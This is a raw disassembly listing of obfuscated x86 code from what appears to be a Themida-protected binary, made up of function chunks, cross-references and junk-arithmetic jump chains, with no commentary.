; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CEE9
loc_56F71C: ; CODE XREF: sub_56CEE9+6j
mov ebp, ebx
jmp loc_569C59
; END OF FUNCTION CHUNK FOR sub_56CEE9
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop eax
sbb [esp], eax
pushf
jmp loc_55B555
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56F731: ; CODE XREF: sub_56755A+A7j
push [esp+4+var_4]
mov edx, [esp+8+var_8]
add esp, 4
sub esp, 4
mov [esp+8+var_8], esi
mov esi, esp
add esi, 4
push edi
push 4
mov edi, [esp+10h+var_10]
add esp, 4
add esi, edi
mov edi, [esp+0Ch+var_C]
add esp, 4
push esi
push [esp+0Ch+var_8]
mov esi, [esp+10h+var_10]
add esp, 4
pop [esp+0Ch+var_C]
pop esp
push 321Dh
mov [esp+8+var_8], esi
sub esp, 4
mov [esp+0Ch+var_C], ecx
push 51141CD6h
pop ecx
and ecx, 482F7EB7h
sub ecx, 21C5CDF8h
jmp loc_5679DC
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56F796: ; CODE XREF: Themida_:0055FA3Bj
jmp loc_55B555
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56F79B: ; CODE XREF: sub_56755A-9D37j
mov bh, 38h
jmp loc_56F919
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562F50
loc_56F7A2: ; CODE XREF: sub_562F50+6j
mov [esp+4+var_4], ecx
jmp loc_56B10A
; END OF FUNCTION CHUNK FOR sub_562F50
; ---------------------------------------------------------------------------
loc_56F7AA: ; CODE XREF: Themida_:00566B6Bj
add ecx, 0C4D1A875h
mov ebx, ecx
jmp loc_5636E6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56F7B7: ; CODE XREF: sub_56755A-7E95j
pop eax
jmp loc_563525
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56F7BD: ; CODE XREF: Themida_:00568DD8j
add esp, 4
xor edx, [esp]
jmp loc_563530
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5635DE
loc_56F7C8: ; CODE XREF: sub_5635DE+342j
add edi, edx
pop edx
add edx, edi
pop edi
add edx, 4
xchg edx, [esp+0]
pop esp
jmp loc_56F7EB
; END OF FUNCTION CHUNK FOR sub_5635DE
; ---------------------------------------------------------------------------
mov cx, [esp]
push 9F9h
jmp loc_55EF8B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5635DE
loc_56F7EB: ; CODE XREF: sub_5635DE+C1FAj
add esp, 4
push 5367h
mov [esp+0], edx
push eax
jmp loc_560446
; END OF FUNCTION CHUNK FOR sub_5635DE
; =============== S U B R O U T I N E =======================================
sub_56F7FC proc near ; CODE XREF: sub_56755A+3C37j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
arg_14 = dword ptr 18h
; FUNCTION CHUNK AT 0055FE1B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056066D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005607FE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00560811 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00560AEF SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00560CBD SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005614A0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00562989 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005633EA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00563FF4 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056420C SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005642D2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056589C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00565A08 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00565C9A SIZE 00000035 BYTES
; FUNCTION CHUNK AT 005665C1 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00567306 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00568F21 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005691AF SIZE 0000003B BYTES
; FUNCTION CHUNK AT 0056A37A SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056ADB7 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056B3CA SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056B4E7 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0056B538 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056B60B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056B7DC SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056CFF7 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056DBBF SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0056E408 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0056E865 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056FA19 SIZE 00000036 BYTES
push ebx
jmp loc_5633EA
sub_56F7FC endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56F802: ; CODE XREF: sub_56755A+367Fj
mov ah, 8Bh
jmp loc_55CBF8
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56F809: ; CODE XREF: Themida_:00567555j
push esi
jmp loc_5651AF
; ---------------------------------------------------------------------------
loc_56F80F: ; CODE XREF: Themida_:00568809j
mov ch, 2
add ch, 0FFh
sub esp, 2
mov [esp], bx
mov bl, dl
jmp loc_57076A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5635DE
loc_56F825: ; CODE XREF: sub_5635DE+6353j
shr ecx, 6
add ecx, 0E867DA4h
push ebp
mov ebp, 0FFC61791h
add ecx, ebp
jmp loc_560842
; END OF FUNCTION CHUNK FOR sub_5635DE
; =============== S U B R O U T I N E =======================================
sub_56F83B proc near ; CODE XREF: sub_56755A+719j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055F1AD SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00561E26 SIZE 00000009 BYTES
sub esp, 4
mov [esp+4+var_4], ebx
mov ebx, esp
add ebx, 4
push edi
mov edi, 4
jmp loc_55F1AD
sub_56F83B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E931
loc_56F854: ; CODE XREF: sub_55E931+B038j
xchg esi, edi
neg esi
push edi
push esi
pop edi
pop esi
jmp loc_56EEE4
; END OF FUNCTION CHUNK FOR sub_55E931
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55CD7B
loc_56F861: ; CODE XREF: sub_55CD7B+55F4j
mov [esp+0Ch+var_C], esi
jmp loc_56B1CB
; END OF FUNCTION CHUNK FOR sub_55CD7B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56F869: ; CODE XREF: sub_56755A+2019j
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_56F86E: ; CODE XREF: sub_56E89A+1D52j
push 0FFCh
mov [esp+10h+var_10], ebp
jmp loc_56A676
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56F87B: ; CODE XREF: sub_56755A-2099j
push 5DE6229Fh
pop edx
push ebx
mov ebx, 72E65566h
xor edx, ebx
push [esp+22h+var_24+2]
pop ebx
add esp, 4
jmp loc_563951
; ---------------------------------------------------------------------------
loc_56F895: ; CODE XREF: sub_56755A+70AAj
add edi, 4
sub edi, 4
xchg edi, [esp+32h+var_34+2]
jmp loc_56DD02
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56F8A9: ; CODE XREF: Themida_:0055EA42j
push 25A30D3Fh
pop ecx
neg ecx
add ecx, 4694F3C9h
add eax, ecx
pop ecx
xor edi, eax
mov eax, [esp]
add esp, 4
jmp loc_565058
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56F8CA: ; CODE XREF: sub_56755A-A67Ej
xor edx, 43450DF1h
sub ebp, 428B2141h
add ebp, 1B876832h
add ebp, edx
sub ebp, 1B876832h
jmp loc_567A22
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56F8E9: ; CODE XREF: Themida_:0056A533j
push dword ptr [esp+4]
pop edx
jmp loc_55E6EF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56667A
loc_56F8F3: ; CODE XREF: sub_56667A-6E97j
push 2AAE15DBh
pop esi
shl esi, 1
add esi, 1
xor esi, 75523Dh
jmp loc_568E42
; END OF FUNCTION CHUNK FOR sub_56667A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56F90C: ; CODE XREF: sub_56755A+56F6j
pop ecx
jmp loc_56C29B
; ---------------------------------------------------------------------------
loc_56F912: ; CODE XREF: sub_56755A+276Bj
add al, 0DDh
jmp loc_56D363
; ---------------------------------------------------------------------------
loc_56F919: ; CODE XREF: sub_56755A+8243j
push eax
mov ah, bh
mov cl, ah
jmp loc_5619CF
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AE72
loc_56F923: ; CODE XREF: sub_56AE72-F042j
shl ecx, 1
jmp loc_56D3C3
; END OF FUNCTION CHUNK FOR sub_56AE72
; ---------------------------------------------------------------------------
loc_56F92A: ; CODE XREF: Themida_:0056B714j
dec edx
add edx, 4ED2BEAh
sub edx, 1A76272Fh
xor edx, 0FD502B1Dh
jmp loc_567F9E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E55E
loc_56F942: ; CODE XREF: sub_56E55E-1822j
push 7EFAh
mov [esp+0Ch+var_C], edx
mov ecx, [esp+0Ch+var_C]
add esp, 4
jmp loc_56BE7B
; END OF FUNCTION CHUNK FOR sub_56E55E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CD48
loc_56F958: ; CODE XREF: sub_56CD48-F62Fj
pop ecx
jmp loc_56133B
; END OF FUNCTION CHUNK FOR sub_56CD48
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55CD7B
loc_56F95E: ; CODE XREF: sub_55CD7B+70D6j
add edx, ecx
jmp loc_5638B5
; END OF FUNCTION CHUNK FOR sub_55CD7B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5696A6
loc_56F965: ; CODE XREF: sub_5696A6-5921j
push edi
mov edi, 61513CC6h
mov ebp, 7E875C34h
xor ebp, edi
pop edi
jmp loc_55FCE9
; END OF FUNCTION CHUNK FOR sub_5696A6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56F978: ; CODE XREF: sub_56755A+5E64j
xor ch, 95h
mov dh, ch
pop ecx
jmp loc_565A2D
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5673DF
loc_56F983: ; CODE XREF: sub_5673DF-4D47j
sub ebx, 5A6631E6h
push esi
jmp loc_55E59B
; END OF FUNCTION CHUNK FOR sub_5673DF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FDEF
loc_56F98F: ; CODE XREF: sub_55FDEF+8D83j
add edx, ebp
pop ebp
add edx, 4
xchg edx, [esp+8+var_8]
pop esp
push ebp
mov ebp, 674E3CD9h
add ebx, ebp
mov ebp, [esp+8+var_8]
add esp, 4
jmp loc_55C49D
; END OF FUNCTION CHUNK FOR sub_55FDEF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56F9AC: ; CODE XREF: sub_56755A+61E6j
pop edx
xor ecx, 0B5C7079h
jmp loc_56D22E
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56F9B8: ; CODE XREF: Themida_:005662A8j
pop ecx
not ecx
jmp loc_566564
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55C719
loc_56F9C0: ; CODE XREF: sub_55C719+2747j
and ecx, 4792227Dh
shl ecx, 5
shl ecx, 6
neg ecx
add ecx, 24004h
jmp loc_55BE48
; END OF FUNCTION CHUNK FOR sub_55C719
; ---------------------------------------------------------------------------
loc_56F9D9: ; CODE XREF: Themida_:00568B55j
pop eax
add bl, ch
jmp loc_56A69E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56F9E1: ; CODE XREF: sub_56755A+4EE2j
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+2Ch+var_2C]
pop esp
push ecx
push ebx
mov ebx, 376F1000h
mov ecx, 8CF78A64h
sub ecx, ebx
jmp loc_56FF0A
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56FA07: ; CODE XREF: Themida_:00564E1Fj
xchg ebx, [esp]
mov esp, [esp]
mov [esp], dx
push ax
pushf
jmp loc_5677FA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F7FC
loc_56FA19: ; CODE XREF: sub_56F7FC-84F3j
or ebx, 38BF3161h
shl ebx, 1
xchg edi, ebx
not edi
xchg edi, ebx
shl ebx, 7
add ebx, 48A35133h
mov ebp, ebx
pop ebx
mov edx, 0A516A401h
sub edx, ebp
pop ebp
push eax
mov eax, 58AC164Ch
push ecx
mov ecx, 0CC22FE79h
xor eax, ecx
pop ecx
jmp loc_5614A0
; END OF FUNCTION CHUNK FOR sub_56F7FC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56FA4F: ; CODE XREF: sub_56755A+1097j
xchg edi, [esp+2Ch+var_2C]
jmp loc_55D06D
; ---------------------------------------------------------------------------
loc_56FA57: ; CODE XREF: sub_56755A-9423j
mov esi, 0A614FA45h
add ecx, esi
pop esi
sub ebp, ecx
mov ecx, [esp+0]
add esp, 4
sub ebp, edi
push edi
push ebx
push 6C986F0Ah
pop ebx
xor ebx, 303A1A39h
add ebx, 0B8B0E583h
mov edi, ebx
jmp loc_56FF4A
; ---------------------------------------------------------------------------
loc_56FA84: ; CODE XREF: sub_56755A+32F7j
push ecx
mov ecx, 3BD05FA0h
push ebp
push eax
push esi
jmp loc_56AEB8
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56FA92: ; CODE XREF: Themida_:0055E6E2j
add ecx, ebx
sub ecx, 79834A74h
pop ebx
add ecx, 4
push 462Dh
jmp loc_56BB6B
; ---------------------------------------------------------------------------
loc_56FAAB: ; CODE XREF: Themida_:0055BE0Fj
sub ebx, 288BF2BAh
and esi, ebx
pop ebx
push ebx
mov ebx, 0FFFFFFFFh
add esi, ebx
pop ebx
shr esi, 1
or esi, 6ACD1CB3h
add esi, 9532E14Bh
push 227h
mov [esp], esi
mov esi, 0DDD4BF3h
sub ecx, esi
pop esi
add ecx, 69EE0CC9h
add ecx, esi
jmp loc_56D147
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56FAE8: ; CODE XREF: sub_56755A-32B0j
mov esi, esp
jmp loc_55D8CF
; ---------------------------------------------------------------------------
loc_56FAEF: ; CODE XREF: sub_56755A+B9Cj
sub esi, 0CA12E01h
xor esi, 0FE614845h
xor ecx, esi
jmp loc_56499D
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56FB02: ; CODE XREF: Themida_:00568F3Ej
push small word ptr [eax]
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_56FB0A: ; CODE XREF: Themida_:00566BD2j
and esi, 775A709Ah
add esi, 0FD0C2D4Bh
sub ebx, 198B17A2h
sub ebx, esi
jmp loc_568464
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560DA7
loc_56FB23: ; CODE XREF: sub_560DA7+5D8Ej
add edi, 277418AEh
jmp loc_56A2C1
; END OF FUNCTION CHUNK FOR sub_560DA7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568EFC
loc_56FB2E: ; CODE XREF: sub_568EFC+1j
push 29B84BC9h
pop ebp
jmp sub_5637DB
; END OF FUNCTION CHUNK FOR sub_568EFC
; ---------------------------------------------------------------------------
loc_56FB39: ; CODE XREF: Themida_:0055CD27j
add ebx, 55185852h
jmp loc_56B299
; ---------------------------------------------------------------------------
loc_56FB44: ; CODE XREF: Themida_:00570253j
sub edx, 4
push edx
jmp loc_55EF08
; ---------------------------------------------------------------------------
lodsd
sub eax, 75C2860h
push edx
push 1BFh
mov [esp], ebp
jmp loc_56AFF0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56FB61: ; CODE XREF: sub_56755A+445j
add eax, 4
add eax, 4
xchg eax, [esp+2Ch+var_2C]
jmp loc_567815
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56FB73: ; CODE XREF: Themida_:005697D6j
add edi, 4
xchg edi, [esp]
pop esp
push ebp
mov ebp, 1B5E0A01h
jmp loc_560D7E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56FB85: ; CODE XREF: sub_56755A+8EB2j
xchg ebx, [esp+2Ch+var_2C]
pop esp
or eax, eax
jz loc_55D828
sub esp, 4
mov [esp+2Ch+var_2C], eax
mov eax, 1Ch
jmp loc_56228C
; ---------------------------------------------------------------------------
loc_56FBA4: ; CODE XREF: sub_56755A+85Fj
pop ecx
shr edi, 2
shl edi, 4
xor edi, ebp
jmp loc_56EC0C
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56FBB2: ; CODE XREF: Themida_:0056EDBDj
neg eax
jmp loc_55EA3E
; ---------------------------------------------------------------------------
loc_56FBB9: ; CODE XREF: Themida_:00565FDAj
mov ebp, esi
pop esi
sub ebp, 86539BC8h
add ebx, ebp
pop ebp
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
jmp loc_56CC21
; ---------------------------------------------------------------------------
loc_56FBD3: ; CODE XREF: Themida_:00564B94j
dec edx
jmp loc_5633A6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56026A
loc_56FBD9: ; CODE XREF: sub_56026A+D2CAj
xor edi, [esp+0]
xor [esp+0], edi
xor edi, [esp+0]
jmp loc_5660F3
; END OF FUNCTION CHUNK FOR sub_56026A
; ---------------------------------------------------------------------------
loc_56FBE7: ; CODE XREF: Themida_:005614D8j
add esi, ecx
pop ecx
xchg esi, [esp]
mov esp, [esp]
shr dword ptr [esp], cl
pushf
jmp loc_5647DF
; ---------------------------------------------------------------------------
loc_56FBF9: ; CODE XREF: Themida_:0055CA01j
mov [esp], eax
mov eax, 4
sub esi, eax
pop eax
jmp loc_55CC63
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55C719
loc_56FC09: ; CODE XREF: sub_55C719+ABCDj
pop ebp
mov esi, [esp+4+var_4]
add esp, 4
and ecx, ebp
mov ebp, [esp+0]
add esp, 4
shr ecx, 7
push dword ptr [edi+1Ch]
push dword ptr [esp+0]
mov eax, [esp+4+var_4]
jmp loc_5688E3
; END OF FUNCTION CHUNK FOR sub_55C719
; ---------------------------------------------------------------------------
loc_56FC2F: ; CODE XREF: Themida_:0056DDF5j
mov ecx, 337950EEh
mov eax, ecx
jmp loc_55DE19
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D83A
loc_56FC3B: ; CODE XREF: sub_56D83A-FFC5j
add esp, 4
add [esp+arg_0], 4049Fh
jmp loc_55FCCF
; END OF FUNCTION CHUNK FOR sub_56D83A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56FC4E: ; CODE XREF: sub_56755A+1DCj
or esi, 12010072h
add esi, 0E40A3AE2h
mov ecx, esi
pop esi
sub ecx, 30AFF0F7h
jmp loc_55D63D
; ---------------------------------------------------------------------------
loc_56FC68: ; CODE XREF: sub_56755A+2FF9j
push eax
mov eax, 54B37FBFh
add eax, 1
push ecx
mov ecx, 0D905E49h
or eax, ecx
pop ecx
add eax, 0A24C803Bh
add ebx, eax
jmp loc_570108
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55DA88
loc_56FC86: ; CODE XREF: sub_55DA88+11B1Bj
pop edx
shl eax, 1
jmp loc_56C526
; END OF FUNCTION CHUNK FOR sub_55DA88
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CEE9
loc_56FC8E: ; CODE XREF: sub_56CEE9-C464j
mov edi, 4A963B67h
add edi, 26EA2B19h
shr edi, 2
inc edi
add edi, 6249263Fh
xor edi, 0EC837A5h
jmp loc_561B0E
; END OF FUNCTION CHUNK FOR sub_56CEE9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56FCAE: ; CODE XREF: sub_56755A-64F6j
push esi
push 36DB6984h
pop esi
add esi, 7C2427BCh
and esi, 714C7496h
or esi, 6C8B58F5h
xor esi, 4F9401Ah
mov ebx, esi
pop esi
mov ecx, 783618EBh
xor ecx, ebx
push [esp+18h+var_18]
pop ebx
add esp, 4
sub edi, ecx
jmp loc_57036B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56FCE8: ; CODE XREF: Themida_:0056AA9Ej
or edx, 56B1A03h
jmp loc_569796
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55DD27
loc_56FCF3: ; CODE XREF: sub_55DD27+7BDFj
push esp
pop esi
add esi, 4
jmp loc_55F7AD
; END OF FUNCTION CHUNK FOR sub_55DD27
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566C65
loc_56FD00: ; CODE XREF: sub_566C65-830Cj
add esp, 4
shl ecx, 6
neg ecx
xor ecx, 71B040F6h
xor ecx, 0FB390F72h
add edx, ecx
mov ecx, [esp+4+var_4]
add esp, 4
push ebp
push edi
jmp loc_564755
; END OF FUNCTION CHUNK FOR sub_566C65
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_56FD23: ; CODE XREF: sub_56E89A-8EAFj
and ebx, esi
mov esi, [esp+0]
push ebp
push esp
mov ebp, [esp+8+var_8]
jmp loc_56C985
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56FD32: ; CODE XREF: sub_56755A+7D0Dj
mul cl
jmp loc_5681D6
; ---------------------------------------------------------------------------
loc_56FD39: ; CODE XREF: sub_56755A+5CEj
push eax
push 487F647Bh
jmp loc_562631
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56FD44: ; CODE XREF: Themida_:00566577j
dec edi
inc edi
add edi, 107D076Ah
sub edi, 9F322D25h
sub ecx, edi
pop edi
mov eax, ecx
pop ecx
add esi, 66A71942h
jmp loc_56B5FE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56FD63: ; CODE XREF: sub_56755A+517Bj
mov edi, [esp+0Ch+var_C]
add esp, 4
push ecx
push ebx
push ebp
jmp loc_56134C
; ---------------------------------------------------------------------------
loc_56FD74: ; CODE XREF: sub_56755A+3D75j
push eax
mov eax, esp
add eax, 4
push ebx
mov ebx, 4
sub eax, ebx
jmp loc_56B5CB
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5615A9
loc_56FD89: ; CODE XREF: sub_5615A9-4DDEj
sub bh, 0BBh
add bh, cl
jmp loc_5604FE
; END OF FUNCTION CHUNK FOR sub_5615A9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560EB5
loc_56FD93: ; CODE XREF: sub_560EB5+Ej
sub bx, 15F0h
add bx, cx
push ax
push edx
push si
mov si, 15F0h
jmp loc_561167
; END OF FUNCTION CHUNK FOR sub_560EB5
; ---------------------------------------------------------------------------
loc_56FDA9: ; CODE XREF: Themida_:00568888j
mov esi, 4
add [esp+4], esi
pop esi
push dword ptr [esp]
jmp loc_563C68
; ---------------------------------------------------------------------------
loc_56FDBB: ; CODE XREF: Themida_:00563103j
mov [esp], esp
add dword ptr [esp], 4
jmp loc_56ABBC
; ---------------------------------------------------------------------------
loc_56FDC7: ; CODE XREF: Themida_:0055F139j
mov [esp], ecx
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_56FDCF: ; CODE XREF: Themida_:0056ED34j
mov [esp], ebp
mov ebp, 262B48C1h
push edi
mov edi, 13073372h
dec edi
shl edi, 1
jmp loc_569DCC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56FDE5: ; CODE XREF: sub_56755A+2E3Dj
mov esi, esp
add esi, 4
add esi, 4
jmp loc_56C975
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56FDF5: ; CODE XREF: Themida_:00568D3Ej
push eax
mov eax, 4
jmp loc_56EEA6
; ---------------------------------------------------------------------------
loc_56FE00: ; CODE XREF: Themida_:0056BBF9j
push eax
jmp loc_567FC0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AE72
loc_56FE06: ; CODE XREF: sub_56AE72-CA57j
mov eax, 54BA6DEDh
or ecx, eax
jmp loc_56DE9D
; END OF FUNCTION CHUNK FOR sub_56AE72
; ---------------------------------------------------------------------------
loc_56FE12: ; CODE XREF: Themida_:0055F1A8j
pop edi
add edi, 349AF31Dh
push edi
add dword ptr [esp], 6DEC0C83h
pop ebx
sub ebx, 6DEC0C83h
pop edi
add eax, ebx
pop ebx
jmp loc_56FEF3
; ---------------------------------------------------------------------------
loc_56FE31: ; CODE XREF: Themida_:005663B1j
add eax, 67440C28h
sub eax, ecx
push ebx
jmp loc_56371C
; ---------------------------------------------------------------------------
loc_56FE3E: ; CODE XREF: Themida_:00566629j
add esi, edi
pop edi
add edi, esi
pop esi
xchg edi, [esp]
pop esp
sub esp, 4
jmp loc_568BFB
; ---------------------------------------------------------------------------
loc_56FE53: ; CODE XREF: Themida_:0055B96Dj
sub ebp, eax
pop eax
push dword ptr [esp]
pop eax
jmp loc_570771
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56FE5F: ; CODE XREF: sub_56755A+4BEBj
push [esp+0Eh+var_10+2]
pop ebx
add esp, 4
push 5C6Dh
mov [esp+0Eh+var_10+2], ebp
push 2396h
mov [esp+12h+var_14+2], eax
mov eax, 7B7401D2h
jmp loc_564240
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56FE80: ; CODE XREF: Themida_:0056DAF4j
xor [esp], esi
xor esi, [esp]
pop esp
jmp loc_56DED1
; ---------------------------------------------------------------------------
loc_56FE8C: ; CODE XREF: Themida_:0056A257j
pop esi
mov edx, ebx
pop ebx
jmp loc_569E05
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], edx
push edi
push 27CEh
mov [esp], esp
add dword ptr [esp], 4
mov edi, [esp]
add esp, 4
push eax
mov eax, 0B0D30C5h
inc eax
xor eax, 386E1610h
add eax, 69ED79E9h
dec eax
inc eax
add eax, 62AF5F45h
add edi, eax
pop eax
sub edi, 4
jmp loc_55FCF2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562F62
loc_56FEDB: ; CODE XREF: sub_562F62+13j
push esi
jmp loc_56527A
; END OF FUNCTION CHUNK FOR sub_562F62
; ---------------------------------------------------------------------------
loc_56FEE1: ; CODE XREF: Themida_:0056CE5Cj
mov ecx, 9442ECDh
add ecx, 97E3229h
sub ecx, edx
jmp loc_562348
; ---------------------------------------------------------------------------
loc_56FEF3: ; CODE XREF: Themida_:0056FE2Cj
push edi
jmp loc_561272
; ---------------------------------------------------------------------------
loc_56FEF9: ; CODE XREF: Themida_:0056C6DFj
inc eax
push edx
mov edx, 841133BDh
add eax, edx
pop edx
xor edi, eax
jmp loc_55E23A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56FF0A: ; CODE XREF: sub_56755A+84A8j
pop ebx
xor ecx, 653C6BA2h
xor esi, ecx
pop ecx
jmp loc_55C012
; ---------------------------------------------------------------------------
loc_56FF19: ; CODE XREF: sub_56755A+7Fj
mov ebx, 563F55D5h
mov ecx, 47F308D0h
jmp loc_566CA9
; ---------------------------------------------------------------------------
loc_56FF28: ; CODE XREF: sub_56755A+870j
add edi, ebp
mov ebp, [esp+1Eh+var_20+2]
add esp, 4
xchg edi, [esp+1Ah+var_1C+2]
jmp loc_56BE75
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56FF3B: ; CODE XREF: Themida_:00560668j
mov ebp, 2
add edx, ebp
mov ebp, [esp]
jmp loc_564DF0
; ---------------------------------------------------------------------------
